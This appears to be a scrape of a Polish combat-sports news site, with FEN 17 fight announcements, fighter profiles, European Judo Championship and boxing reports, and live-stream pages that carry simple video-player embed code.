Jackiewicz szerokiej publiczności jest znany z występów w ringu bokserskich. Odniósł blisko 50 zwycięstw. Jednak zanim spróbował swoich sił jako bokser, doskonalił się w kickboxingu. Jednak rywalizacja z Dudkiem będzie dla Jackiewicza debiutem w K-1. 40-latek próbował również swoich sił w MMA, jednak skończyło się na jednej walce. Na gali KSW 28 pogromcą Jackiewicza okazał się Marcin Parcheta.

KM

Oleksiejczuk vs Nosiglia na gali FEN 17 Baltic Storm

Starcie Riccardo Nosiglii z Michałem Oleksiejczukiem miało być jednym z hitów gali FEN 16 Warsaw Reloaded. Niestety, poważna kontuzja Włocha sprawiła, że pojedynek wypadł z karty walk. Włoski specjalista od nokautów w pierwszych rundach wrócił jednak do formy i zapowiadająca się szlagierowo walka „The Walking Dead” vs „The Hammer” dojdzie do skutku już 12 maja na gali FEN 17 Baltic Storm w Gdynia Arena!

Riccardo „The Walking Dead” Nosiglia (28 lat, 186 cm, 5-0), dwukrotny mistrz włoskiej organizacji Power Nation Fighting Championship w kategorii półciężkiej, to jedno z najnowszych odkryć federacji Fight Exclusive Night. Zawodnik Shoot Team Padwa w swoim debiucie na gali FEN 15 Final Strike sensacyjnie pokonał Marcina Zontka, mimo że propozycję walki przyjął tydzień przed galą i po raz pierwszy walczył na tak dużej imprezie. Włoch szybko przejął inicjatywę, zdominował rywala i wygrał w stylu, który stał się już jego wizytówką – najpierw powalił  byłego pretendenta do pasa mistrzowskiego FEN na deski, a potem zasypał go gradem ciosów, po których sędzia przerwał pojedynek. Była to piąta zawodowa walka Nosiglii i jednocześnie piąta z rzędu, którą „The Walking Dead” skończył uderzeniami w parterze już w pierwszej rundzie.

Jego przeciwnik na gali FEN 17 Baltic Storm, Michał „The Hammer” Oleksiejczuk (22 lata, 182 cm, 11-2), może pochwalić się jeszcze bardziej imponującą serią – reprezentant GKS Górnik Łęczna wygrał osiem kolejnych walk, pozostając niepokonanym od ponad dwóch lat. Jedno z tych zwycięstw odniósł na gali FEN 12 Feel The Force, wygrywając na punkty po ciężkim trzyrundowym boju ze szczecińskim Berserkerem Wojciechem Januszem. W ostatnich miesiącach Oleksiejczuk zdobył także, a później dwukrotnie obronił tytuł mistrza lokalnej federacji Thunderstrike Fight League, pokonując kolejno Łukasza Borowskiego, Łukasza Klingera i Brazylijczyka Charlesa Andrade. Zdaniem ekspertów, „The Hammer” to jeden z tych polskich fighterów MMA młodego pokolenia, którzy mają największe szanse na podpisanie w najbliższym czasie kontraktów z organizacją UFC.

Oprócz tego emocjonująco zapowiadającego się pojedynku kibice 12 maja obejrzą także walki MMA z udziałem m.in. Kamila Łebkowskiego, Piotra Hallmanna i Ireneusza Szydłowskiego oraz starcia Michała Wlazło z Czechem Martinem Chudejem i Jakuba Kowalewicza z Aleksandrem Georgasem. Ponadto w formule K-1 w Gdynia Arena walczyć będą tego wieczora tacy znakomici zawodnicy, jak Radosław Paczuski, Jarosław Daschke, Marcin Szreder i Artur Bizewski. Pełny fight card gali na oficjalnej stronie FEN.

Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

FEN

Katarzyna Posiadała

Polska zawodniczka Muay Thai i K-1 urodzona w Siedlcach. Katarzyna jest dwukrotną mistrzynią Polski Oriental Rules (2013,2014), mistrzynią Polski K-1 (2016) oraz trzykrotną mistrzynią Świata Muay Thai (2014,2015,2017). Na zawodowych ringach stoczyła pięć pojedynków z czego cztery wygrała. Obecnie jest związana z federacją Ladies Fight Night.

Hanna Gujwan

Polska zawodniczka K-1 i MMA urodzona 23 kwietnia 1992 roku w Rzeszowie. Hanna jest trzykrotną mistrzynią Polski w Muay Thai (2014,2015,2016). W 2015 roku zdobyła mistrzostwo Europy K-1 federacji WKF. Dwukrotnie zwyciężyła w Mistrzostwach Świata K-1 federacji WKF (2014-2015). Na zawodowym ringu stoczyła 4 pojedynki, trzy z nich wygrała. Obecnie jest związana z federacją Ladies Fight Night.

Patrycja Krawczyk

Polska zawodniczka K-1 urodzona 5 sierpnia 1993 roku we Wrocławiu. Zawodowy rekord Patrycji to pięć walk, każda wygrana. Poniżej sukcesy Patrycji:

 

ROK 2016:

LFN Ladies Fight Night "That's All Folks" vs. A. Jursova (5:0) TKO 1 round

FEN10: Gold Edition vs. Monika Porażyńska (4:0) TKO 1 round

 

ROK 2015:

– Zawodowy Mistrz Polski K1 -52kg (3:0),

– FEN5:Cuprum Heroes vs. Alexandra Jursova (2:0)

 

ROK 2014:

– Mistrzyni Polski Pro Am K1 -52kg (1:0)

– brązowa medalistka Mistrzostw Europy K1 WAKO Seniorów (Bilbao)

– Vice Mistrzostwo Polski K1 Seniorów – 52kg

 

ROK 2013:

– Mistrzostwo Polski Muay Thai Seniorów

– Mistrzostwo Polski Młodzieżowców K1

– Vice Mistrzostwo Polski KickLight Młodzieżowców

– Vice Mistrzostwo Puchar Polski Low-Kick Seniorów

– Vice Mistrzostwo Puchar Polski K1 Seniorów

– 3m. Mistrzostwa Polski K1 Seniorów

– 3 krotna zwyciężczyni Maximus Combat League

 

ROK 2012

– V-ce Mistrzyni Świata K-1 Rules Juniorów – Bratysława 2012

– Mistrzyni Polski K-1 Rules Juniorów

– Mistrzostwo Polski Muay Thai

– V-ce Mistrzyni Polski Low-Kick Juniorów

– V-ce Mistrzyni Polski Kick-Light Juniorów

– V-ce Mistrzyni Polski w Light–Contact Juniorów

 

ROK 2011

– Brązowa Medalistka Mistrzostw Europy WACO K-1 Rules Juniorów Lignano Sabbiadoro, Włochy 2011,

– Trzykrotna Mistrzyni– International Muay Thai League „Gryfa zachodniopomorskiego”

– Mistrzyni Polski Muay Thai

– V-ce Mistrzyni Polski Low-Kick

– V-ce Mistrzyni Polski Kick-Light Juniorów

– Brązowa Medalistka:

– Mistrzostw Polski K-1 Rules Juniorów

– Mistrzostwa Polski Light–Contact Juniorów

– Medalistka Polish Open Low Kick Junior

– Międzynarodowych Mistrzostw Polski K-1 Rules Juniorów

Katarzyna Sadura

Polska zawodniczka MMA urodzona 20 kwietnia 1991 roku w Łodzi. Katarzyna jest mistrzynią Polski w Taekwondo, zdobyła również mistrzostwo Europy i mistrzostwo Świata w Taekwondo.  Katarzyna jest także medalistką mistrzostw Polski i Europy w Judo. Na zawodowym ringu MMA Katarzyna stoczyła pięć walk z których trzy wygrała. Obecnie jest związana z Federacją Ladies Fight Night. 

LIVE: FEN 17 Baltic Storm – Trening medialny

Zapraszamy na transmisję telewizyjną na żywo z treningu medialnego przed galą FEN 17 Baltic Storm.

[kod]

FEN 17 Baltic Storm Trening Medialny

FEN 17 Baltic Storm Trening Medialny

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN15.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN15.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN15.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN15.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: FEN 17 Baltic Storm – Ceremonia ważenia

Zapraszamy na transmisję telewizyjną na żywo z ceremonii ważenia przed galą FEN 17 Baltic Storm.

[kod]

FEN 17 Baltic Storm Ceremonia ważenia

FEN 17 Baltic Storm Ceremonia ważenia

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN15.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN15.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN15.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN15.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: XXIV Warszawska Granda

Zapraszamy na transmisje telewizyjna na żywo z XXIV Warszawskiej Grandy. Organizatorzy zaplanowali rekordową liczbę pojedynków w formule K-1.

[kod]

XXIV Warszawska Granda

XXIV Warszawska Granda

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/XXIVWarszawskaGranda.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/XXIVWarszawskaGranda.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/XXIVWarszawskaGranda.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/XXIVWarszawskaGranda.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: Puchar Świata w Pięcioboju Nowoczesnym – Dzień 1

Zapraszamy na transmisję telewizyjną na żywo z Pucharu Świata w Pięcioboju Nowoczesnym, które odbędą się w dniach 26-29 maja 2017 r. w Drzonkowie. To już kolejna z dużych imprez Polskiego Związku Pięcioboju Nowoczesnego na antenie Telewizji FighTime. Po Mistrzostwach Świata, Mistrzostwach Polski tym razem zawita Puchar Świata.

[kod]

UIPM World Cup IV Drzonków 2017

UIPM World Cup IV Drzonków 2017

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/PucharSwiataPiecioboj2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/PucharSwiataPiecioboj2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/PucharSwiataPiecioboj2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/PucharSwiataPiecioboj2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: Puchar Świata w Pięcioboju Nowoczesnym – Dzień 2

Zapraszamy na transmisję telewizyjną na żywo z Pucharu Świata w Pięcioboju Nowoczesnym, które odbędą się w dniach 26-29 maja 2017 r. w Drzonkowie. To już kolejna z dużych imprez Polskiego Związku Pięcioboju Nowoczesnego na antenie Telewizji FighTime. Po Mistrzostwach Świata, Mistrzostwach Polski tym razem zawita Puchar Świata.

[kod]

UIPM World Cup IV Drzonków 2017

UIPM World Cup IV Drzonków 2017

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/PucharSwiataPiecioboj2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/PucharSwiataPiecioboj2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/PucharSwiataPiecioboj2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/PucharSwiataPiecioboj2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: Puchar Świata w Pięcioboju Nowoczesnym – Dzień 3

Zapraszamy na transmisję telewizyjną na żywo z Pucharu Świata w Pięcioboju Nowoczesnym, które odbędą się w dniach 26-29 maja 2017 r. w Drzonkowie. To już kolejna z dużych imprez Polskiego Związku Pięcioboju Nowoczesnego na antenie Telewizji FighTime. Po Mistrzostwach Świata, Mistrzostwach Polski tym razem zawita Puchar Świata.

[kod]

UIPM World Cup IV Drzonków 2017

UIPM World Cup IV Drzonków 2017

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/PucharSwiataPiecioboj2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/PucharSwiataPiecioboj2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/PucharSwiataPiecioboj2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/PucharSwiataPiecioboj2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: Puchar Świata w Pięcioboju Nowoczesnym – Dzień 4

Zapraszamy na transmisję telewizyjną na żywo z Pucharu Świata w Pięcioboju Nowoczesnym, które odbędą się w dniach 26-29 maja 2017 r. w Drzonkowie. To już kolejna z dużych imprez Polskiego Związku Pięcioboju Nowoczesnego na antenie Telewizji FighTime. Po Mistrzostwach Świata, Mistrzostwach Polski tym razem zawita Puchar Świata.

[kod]

UIPM World Cup IV Drzonków 2017

UIPM World Cup IV Drzonków 2017

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/PucharSwiataPiecioboj2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/PucharSwiataPiecioboj2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/PucharSwiataPiecioboj2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/PucharSwiataPiecioboj2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: Puchar Świata w Pięcioboju Nowoczesnym – Dzień 5

Zapraszamy na transmisję telewizyjną na żywo z Pucharu Świata w Pięcioboju Nowoczesnym, które odbędą się w dniach 26-29 maja 2017 r. w Drzonkowie. To już kolejna z dużych imprez Polskiego Związku Pięcioboju Nowoczesnego na antenie Telewizji FighTime. Po Mistrzostwach Świata, Mistrzostwach Polski tym razem zawita Puchar Świata.

[kod]

UIPM World Cup IV Drzonków 2017

UIPM World Cup IV Drzonków 2017

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/PucharSwiataPiecioboj2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/PucharSwiataPiecioboj2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/PucharSwiataPiecioboj2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/PucharSwiataPiecioboj2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Zawadka: Patrzymy z nadzieją w przyszłość

Jeden medal wywalczyła Polska podczas mistrzostw Europy w judo, które odbyły się w Warszawie. Wynik nie powala na kolana, ale prezes Polskiego Związku Judo Jacek Zawadka jest optymistą. – Patrzymy z nadzieją w przyszłość – mówi.

Rok temu w Kazaniu biało-czerwoni zdobyli trzy medale. Piotr Kuczera (90kg) sprawił miłą niespodziankę i stanął na najniższym stopniu podium. Drużyna kobiet cieszyła się z mistrzostwa Europy, a panowie świętowali wywalczenie brązowego medalu. W Warszawie honor polskiego judo uratowała płeć piękna.

A miało być tak pięknie

Z nadzieją przystępowaliśmy do mistrzostw Europy w Warszawie. W naszym przypadku siła tkwiła w drużynie, ale i indywidualnie mogliśmy mieć nadzieję. Na tatami zaprezentowała się mieszanka rutyny z młodością. Miała być wybuchowa, jednak nie była. Mistrzostwa Europy w Warszawie zakończyliśmy z jednym medalem, który zapisały na swoim koncie nasze panie. Biało-czerwone w półfinale pokonały Niemki 3:2 (punkty: Pieńkowska, Borowska i Kłys), a w finale nie dały rady Francuzkom (0:5). Z kolei męska reprezentacja poległa w walce o ćwierćfinał z Węgrami 2:3. A jak było indywidualnie? Najlepiej spisali się Katarzyna Kłys (70kg), dla której była to ostatnia impreza w karierze oraz Maciej Sarnacki (+100kg). Oboje uplasowali się na piątych lokatach. – Wyniki pokazują nam, w którym miejscu jesteśmy. Mamy zawodników z ogromnym potencjałem i musimy to wykorzystać. Czeka nas dużo pracy. Przyszedłem z misją zmian. Musimy czerpać wzorce od najlepszych i połączyć to z tym, co jest u nas dobre – podaje Jacek Zawadka.

O powody do optymizmu trudno, jednak sternik PZJudo wierzy, że ciężka praca wyda owoce. – Nie jest tak, że sportowo wszystko wyglądało źle. Młody Patryk Wawrzyczek pokazał się z dobrej strony. Kontuzja stanęła na przeszkodzie Damianowi Szwarnowieckiemu. Start Piotra Kuczery poniżej oczekiwań. Może w tym przypadku zawiodły przygotowania, czegoś zabrakło, ale to bardzo dobry zawodnik. Widać potencjał u naszych judoków. Musimy stworzyć odpowiednie warunki. Zapewnić sztab szkoleniowy z trenerami motoryki, taktyki walk czy też psychologa – tłumaczy prezes PZJudo. 

Sportowo możemy kręcić nosem i wyrażać niezadowolenie. Nie pozostaje nic innego jak zrobić rachunek sumienia, a następnie przystąpić do ciężkiej pracy i wyeliminować błędy. Mistrzostwa Europy w Warszawie przeszły do historii. Jakie wspomnienia pozostawiły? – Słyszałem pochlebne opinie. Zdaniem wielu osób organizacja imprezy stała na wysokim poziomie. Wszystko było na czas, świetna oprawa – wylicza Zawadka.

Ruszyć do przodu

Teraz przed polskim judo kolejne wyzwania. W którą stroną pójdą działacze? – Trwa konkurs ofert na trenerów kadry. 27 kwietnia zbiera się zarząd, który przeanalizuje wszystkie dokumenty. Chcemy wszystko dokładnie przygotować i ruszyć z kopyta – podkreśla prezes PZJudo.

Ogólne kierunki działania są znane. Teraz najważniejsze, aby wszyscy patrzyli w jedną stronę i opracowali plan, który pozwoli naszym judokom na sukces w Igrzyskach Olimpijskich w Tokio w 2020 roku.

Fot. PZJudo

KM

Wygrana, awans i plany

Czwarte zwycięstwo z rzędu zapisał na swoim koncie Krzysztof Zimnoch. 33-letni bokser wagi ciężkiej podczas gali w Legionowie znokautował Michaela Granta. Zwycięstwo dało mu awans w rankingu Boxrec. Kolejna walka Zimnocha ma odbyć się we wrześniu.

W Legionowie spotkali się pięściarze z dwóch różnych bajek. Siedemnaście lat temu Grant walczył z Lennoxem Lewisem o pasy WBC, IBF i IBO w kategorii ciężkiej. Teraz nieuchronnie zbliża się do zakończenia kariery. Z kolei Zimnoch stara się wybić i zaistnieć w boksie zawodowym.

Plan wykonany

33-letni pięściarz z Białegostoku w sobotę (22 kwietnia) po raz trzeci zawitał do Legionowa. Dotychczas miał mieszane uczucia związane z występami w mieście położonym w Kotlinie Warszawskiej. W maju 2013 roku rozprawił się na punkty z byłym mistrzem świata WBC Olivierem McCallem. Amerykanin imponował… wiekiem. W ringu pojawił się mając na karku 48 lat. Kolejny występ (luty 2016) Zimnocha to starcie z Mike'm Mollo. Amerykanin już w pierwszej rundzie posłał Polaka na deski. To jedyna porażka w karierze 33-letniego Zimnocha, który w lutym br. w Szczecinie wziął rewanż na Mollo. 

Los sprawił, że pięściarz z Białegostoku po raz trzeci zawitał do Legionowa. Stanął przed poważnym wyzwaniem, bo przyszło mu rywalizować z byłym pretendentem do tytułu mistrza świata. Swego czasu Michael Grant rywalizował z Andrzejem Gołotą, ale było to… 18 lat temu. Siedem lat temu Amerykanin przegrał z Tomaszem Adamkiem. Najlepsze lata Grant ma już za sobą. Dodatkowo do starcia z Zimnochem przystępował po dwóch porażkach z rzędu.

Polak nie pozostawił rywalowi żadnych złudzeń. Od początku ruszył do natarcia. Już w pierwszej rundzie Grant znalazł się w opałach, kiedy to po jedynym z ciosów Zimnocha musiał się ratować klinczem, aby nie zapoznać się bliżej z deskami. 33-letni pięściarz kontynuował natarcie i w drugiej odsłonie zasypał Amerykanina gradem ciosów. W końcu Grant przyklęknął, a następnie prawy prosty Zimnocha zakończył sprawę.

Walka na jesieni

Krzysztof Zimnoch pokonując doświadczonego Amerykanina zanotował 22 zwycięstwo w karierze, w tym 15 przed czasem. Kolejne wyzwanie przed Polakiem 9 września. Zimnoch ma zaprezentować się na gali w Radomiu, a stawką walki prawdopodobnie będzie regionalny pas jednej z federacji.

Zwycięstwo z Grantem sprawiło, że pozycja Zimnocha w wadze ciężkiej umocniła się. Polski pięściarz awansował na 50. pozycję w rankingu wagi ciężkiej portalu boxrec.com. W krajowym zestawieniu Zimnoch zajmuje 4. lokatę za Mariuszem Wachem, Adamem Kownackim i Andrzejem Wawrzykiem.

Fot. Facebook

KM

Piotr Hallmann kolejną gwiazdą gali FEN 17 Baltic Storm!

Były zawodnik UFC Piotr Hallmann po blisko rocznej przerwie ponownie stanie do walki! 12 maja na gali FEN 17 Baltic Storm „Płetwal” powróci nie tylko do klatkoringu Fight Exclusive Night, ale i kategorii lekkiej. Nazwisko jego rywala organizacja FEN ogłosi już wkrótce.

Piotr Hallmann (29 lat, 175 cm, 16-6, 7 KO, 7 SUB) to bez wątpienia jeden z najlepszych polskich zawodników MMA i jeden z pierwszych, którzy walczyli w organizacji UFC. Na angaż w amerykańskiej organizacji zapracował 13 zwycięstwami w 14 walkach, z których większość odniósł przez nokaut lub poddanie. W ciągu ponad dwóch lat kontraktu z UFC stoczył sześć pojedynków, trzykrotnie będąc nagradzanym przez federację bonusami finansowymi – za walkę wieczoru uznano jego starcie z Brazylijczykiem Gleisonem Tibau, za występ wieczoru zwycięstwo nad Amerykaninem Yvesem Edwardsem, a za poddanie wieczoru kimurę założoną Brazylijczykowi Francisco Trinaldo.

Po powrocie z USA do Polski w styczniu 2016 roku „Płetwal” stoczył dwie walki – na gali Slava Republic 1 pokonał Francuza Jasona Poneta, a później w walce wieczoru gali FEN 13 Summer Edition przegrał na punkty z Kamilem „Bombą” Łebkowskim. Był to dla niego wyjątkowy pojedynek, ponieważ po raz pierwszy i jak do tej pory jedyny walczył w kategorii piórkowej. Po tym niezbyt udanym eksperymencie gdynianin zdecydował się powrócić do „swojej” wagi lekkiej i w niej właśnie stoczy kolejną walkę na gali FEN 17 Baltic Storm.

Przeciwnik Piotr Hellmanna oraz kolejni uczestnicy majowej gali w Gdynia Arena będą ogłaszani już w najbliższych dniach. W tej chwili wiadomo już, że oprócz „Płetwala” 12 maja w Gdyni wystąpią m.in. tacy znakomici zawodnicy MMA, jak Kamil Łebkowski, Michał Wlazło, Aleksander Georgas, Jakub Kowalewicz, Michał Oleksiejczuk i Ireneusz Szydłowski. Publiczność obejrzy tego wieczora również walki K-1 z udziałem utytułowanych kickbokserów Radosława Paczuskiego, Jarosława Daschke, Roberta Rajewskiego juniora i Marcina Szredera.

Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

FEN

Czekamy na medal

Trwają mistrzostwa Europy w judo w Warszawie. Indywidualnie Polacy bez medalu. O podium otarli się Katarzyna Kłys (70kg) i Maciej Sarnacki (+100kg). O medale powalczą jeszcze drużyny.

Głęboko wierzyliśmy, że biało-czerwoni wykorzystają atut własnego terenu. W startach indywidualnych Polacy nie wybili się na pierwszy plan.

Medal na wyciągnięcie ręki

18 Polaków zaprezentowało się na warszawskim Torwarze. Niestety, żadnemu z nich nie udało stanąć się na podium. Rok temu w Kazaniu nowego ducha tchnął w kibiców judo Piotr Kuczera (90kg), który wywalczył brązowy medal. W Warszawie nie zachwycił, bo odpadł już w pierwszej walce z Khusenem Khalmurzaevem. Ostatecznie Rosjanin stanął na trzecim stopniu podium.

Katarzyna Kłys (70kg) zapowiadała, że mistrzostwa Europy w Polsce będą jej ostatnim występem w karierze. 31-letnia zawodniczka to jedna z wyróżniających się postaci polskiego judo na przestrzeni ostatnich lat. Na swoim koncie zapisała brąz mistrzostw świata w 2014 roku oraz srebro mistrzostw Europy w 2012 roku. Obie imprezy odbyły się w Czelabińsku. Sięgnęła także po tytuł wicemistrzyni Starego Kontynentu w 2007 roku i trzy razy startowała w igrzyskach olimpijskich. W Warszawie Kłys stoczyła cztery walki. Rozpoczęła od wygranej z Nataschą Ausmą, ale do repasaży zesłała ją Barbata Matić, późniejsza brązowa medalistka. Doświadczona Polka również stanęła przed szansą wywalczenia miejsca na podium. W boju o brąz Francuzka Eve Marie Gahie nie dała szans Kłys.

Najlepszy start w karierze w mistrzostwach Europy zaliczył Maciej Sarnacki (+100kg), ale nadal pozostaje bez medalu. Ponad miesiąc temu judoka z Olsztyna triumfował w Pucharze Europy w Katowicach. To miał być dobry prognostyk przed mistrzowską imprezą w Warszawie. Sarnacki start na Torwarze zaczął z animuszem. Szybko odprawił Daniela Allerstorfera, w kolejnej walc poradził sobie z Barną Borem. Nieczyste zagrania Haruna Sadikovicia sprawiły, że Polak stanął do rywalizacji o finał. Zacięta walka, jednak Adam Okruashvili zapisał na swoim koncie dwa waza-ari. W starciu o brąz Sarnacki trafił na mistrza olimpijskiego Lukasa Krpaleka. Czech czekał na swoją szansę i po ponad dwóch minutach zakończył rywalizację.

Indywidualnie w Warszawie dominowali Rosjanie, którzy zdobyli dziewięć medali. Sborna może pochwalić się dwoma mistrzami Europy. W kategorii 60kg triumfował Robert Mshvidobadze, który tym samym wywalczył pierwsze złoto na mistrzowskiej imprezie. Alan Khubetsov najlepszy w 81kg. Kroku Rosjanom starali dotrzymać się Francuzi. Trójkolorowi zdobyli siedem medali, w tym dwa złote. Mistrzyniami Europy zostały: Priscila Gneto i Audrey Tcheumeo.

Wierzymy w moc naszych drużyn

Rok temu w Kazaniu w euforię wprawiły nas nasze drużyny. Polki sięgnęły po złoto. W finale biało-czerwone pokonały Rosjanki 3:2 i stanęły na najwyższym stopniu podium. Jedyną z zawodniczek, która zdobyła wtedy punkt, a znalazła się w obecnej kadrze jest Katarzyna Kłys.

W Kazaniu niespodziankę sprawili panowie. Biało-czerwoni pokonali Ukrainę i Azerbejdżan, ale w półfinale lepsi okazali się Gruzini. W starciu o brąz Polacy pokonali Czechów. Z Kazania przywieźliśmy trzy medale. Po startach indywidualnych mieliśmy niedosyt. 

W Warszawie liczyliśmy na więcej, a po trzech dniach nie mamy ani jednego medalu. Wierzymy, że nasze drużyny osłodzą nam „polskie” mistrzostwa Europy.

Fot. Facebook

KM

Rewanż Szredera z Bizewskim w karcie walk FEN 17 Baltic Storm

Marcin Szreder poznał nazwisko swego rywala na gali FEN 17 Baltic Storm! Dwukrotny zdobywca Pucharu Europy 12 maja w Gdynia Arena stanie przed szansą wyrównania rachunków z Arturem Bizewskim za minimalną porażkę, której doznał z rąk dwukrotnego zdobywcy Pucharu Świata w tej samej hali podczas gali FEN 13 Summer Edition.

Pojedynek wagi ciężkiej Marcina Szredera z Arturem Bizowskim był jedną z najlepszych walk ubiegłorocznej wakacyjnej gali FEN. Zarówno reprezentant klubu Palestra Warszawa, jak i zawodnik Agoga Gym Lębork mieli przed tym starciem po cztery zwycięstwa bez porażki i zapowiadali ostry bój  o zachowanie czystego konta. Dotrzymali słowa – kibice w Gdynia Arena byli świadkami kickbokserskiej wojny na wyniszczenie, w której obaj utytułowani fighterzy nie szczędzili sobie morderczych ciosów i kopnięć. Decyzją sędziów zwycięstwo przypadło Bizewskiemu, ale nikt z obserwatorów tego widowiskowego starcia nie miał wątpliwości, że walczący tego wieczora z kontuzją Szreder w pełni zasłużył na to, by jeszcze raz skrzyżować rękawice z „Bizonem”, kiedy już będzie w pełni sił.

Dla Marcina Szredera będzie to czwarty występ dla Fight Exclusive Night i szósty zawodowy pojedynek K-1 w karierze. Zdobywca Pucharu Europy WAKO w K-1 i low kick debiutował w klatkoringu FEN pewnym zwycięstwem na punkty z Niemcem tureckiego pochodzenia Aytakiem Yahsim podczas gali FEN 11 Warsaw Time. W ostatniej swej walce na marcowej gali FEN 16 Warsaw Reloaded już w pierwszej rundzie pokonał Ihara Kamkou, dwukrotnie powalając go na deski, zanim narożnik Białorusina zdecydował się rzucić na ring ręcznik.

Artur Bizewski ma na koncie sześć zawodowych walk K-1, z których dwie ostatnie stoczył dla federacji FEN. Po zwycięstwie nad Szrederem dwukrotny zdobywca Pucharu Świata i brązowy medalista mistrzostw Europy zmierzył się na gali FEN 16 z aktualnym amatorskim mistrzem świata K-1 Global Arkadiuszem Wrzoskiem. Na stołecznym Torwarze „Bizon” przegrał, ale wspólnie z rywalem zafundowali kibicom emocjonujący pojedynek K-1 na europejskim poziomie, toczony w niesamowitym tempie i obfitujący w znakomite akcje z obu stron.

Starcie Marcina Szredera z Arturem Bizewskim jest trzecim ogłoszonym już pojedynkiem K-1 w karcie walk gali FEN 17 – wcześniej federacja zapowiedziała walkę Radosława Paczuskiego z Holendrem Menno Van Roosmalenem oraz Jarosława Daschke z Robertem Rajewskim juniorem. Poza tym 12 maja w Gdynia Arena kibice obejrzą walki na zasadach MMA z udziałem m.in. Kamila Łebkowskiego, Piotra Hallmanna, Michała Wlazło, Michała Oleksiejczuka, Aleksandra Georgasa, Jakuba Kowalewicza i Ireneusza Szydłowskiego.

Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

FEN

Podnieść się i wrócić na właściwą drogę

Daniel Omielańczuk znalazł się na zakręcie. Polski fighter zdążył pokazać, że potrafi wychodzić z opałów. Czy uda mu się po raz kolejny? 8 lipca na gali UFC 213 w Las Vegas Polak zmierzy się z Curtisem Blaydesem.

W przypadku Omielańczuka margines błędu jest już coraz mniejszy, a właściwie nie ma już miejsca  na wpadki. Czy doświadczony zawodnik ucieknie spod topora?

Sytuacja podbramkowa

Sytuację Omielańczuka można przedstawić po piłkarsku. Dogrywka nie dała rozstrzygnięcia, o wszystkim decydują rzuty karne. Do piłki podchodzi zawodnik, od którego wszystko zależy. Za chwilę może być w niebie albo w piekle. Ostatni czas dla Daniela Omielańczuka w UFC nie jest najlepszy. Porażkę ze Stefanem Struvem można jeszcze jakoś usprawiedliwiać, bo Holender jest mocny i ma bogaty bagaż doświadczeń w najlepszej organizacji MMA na świecie. Przegrana z Johnsonem boli, bo sędziowie niejednogłośnie wskazali na Amerykanina. Po dobrym początku wydawało się, że Omieliańczuk będzie zmierzał w stronę zwycięstwa, ale z czasem Johnson próbował walki w parterze, klinczował i starał się neutralizować atuty Polaka. Taktyka Amerykanina okazała się skuteczna.

